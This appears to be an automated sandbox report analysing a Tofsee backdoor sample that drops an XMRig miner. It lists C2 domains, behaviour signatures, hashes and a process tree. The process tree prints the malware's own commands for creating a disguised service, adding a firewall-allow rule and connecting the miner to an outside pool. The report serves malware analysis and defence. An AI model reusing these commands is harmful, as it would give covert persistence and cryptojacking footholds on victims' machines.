Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/10/2022, 04:17

General

  • Target
    file.exe
  • Size 230KB
  • Sample221025-ewc1hsbef4
  • SHA256 00b043b01844a78e51e3cdf5bb2b789e0eab9ff63e2cffbff8f3cf38ab099989
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3404
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yiipfpwt\
      2⤵
        PID:4060
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ubbfgqal.exe" C:\Windows\SysWOW64\yiipfpwt\
        2⤵
          PID:316
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yiipfpwt binPath= "C:\Windows\SysWOW64\yiipfpwt\ubbfgqal.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1888
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description yiipfpwt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5056
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start yiipfpwt
          2⤵
          • Launches sc.exe
          PID:1156
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:908
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3404 -s 1036
          2⤵
          • Program crash
          PID:4596
      • C:\Windows\SysWOW64\yiipfpwt\ubbfgqal.exe
        C:\Windows\SysWOW64\yiipfpwt\ubbfgqal.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2796
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3740
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2144
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2796 -s 516
          2⤵
          • Program crash
          PID:3556
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3404 -ip 3404
        1⤵
          PID:4320
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2796 -ip 2796
          1⤵
            PID:4820

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                ubbfgqal.exe

                • Path C:\Users\Admin\AppData\Local\Temp\ubbfgqal.exe
                • Size 10.4MB
                • SHA256 e066c40f7c55afef9a700d7d5d7a2e8598bd24a632bc39c2b3739cd8ce24130c
                • MD5 SHA1 SHA512 SSDEEP

                ubbfgqal.exe

                • Path C:\Windows\SysWOW64\yiipfpwt\ubbfgqal.exe
                • Size 10.4MB
                • SHA256 e066c40f7c55afef9a700d7d5d7a2e8598bd24a632bc39c2b3739cd8ce24130c
                • MD5 SHA1 SHA512 SSDEEP

                memory/2144-177-0x0000000001090000-0x0000000001181000-memory.dmp

                memory/2144-172-0x0000000001090000-0x0000000001181000-memory.dmp

                memory/2796-150-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/2796-149-0x0000000002E5E000-0x0000000002E74000-memory.dmp

                memory/3404-134-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/3404-133-0x0000000002D00000-0x0000000002D13000-memory.dmp

                memory/3404-143-0x0000000002DF3000-0x0000000002E09000-memory.dmp

                memory/3404-144-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/3404-132-0x0000000002DF3000-0x0000000002E09000-memory.dmp

                memory/3740-159-0x00000000023C0000-0x00000000023D0000-memory.dmp

                memory/3740-151-0x0000000001040000-0x0000000001055000-memory.dmp

                memory/3740-152-0x0000000001040000-0x0000000001055000-memory.dmp

                memory/3740-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/3740-156-0x00000000023B0000-0x00000000023B6000-memory.dmp

                memory/3740-146-0x0000000001040000-0x0000000001055000-memory.dmp

                memory/3740-162-0x00000000023D0000-0x00000000023D5000-memory.dmp

                memory/3740-165-0x0000000007C00000-0x000000000800B000-memory.dmp

                memory/3740-168-0x00000000023E0000-0x00000000023E7000-memory.dmp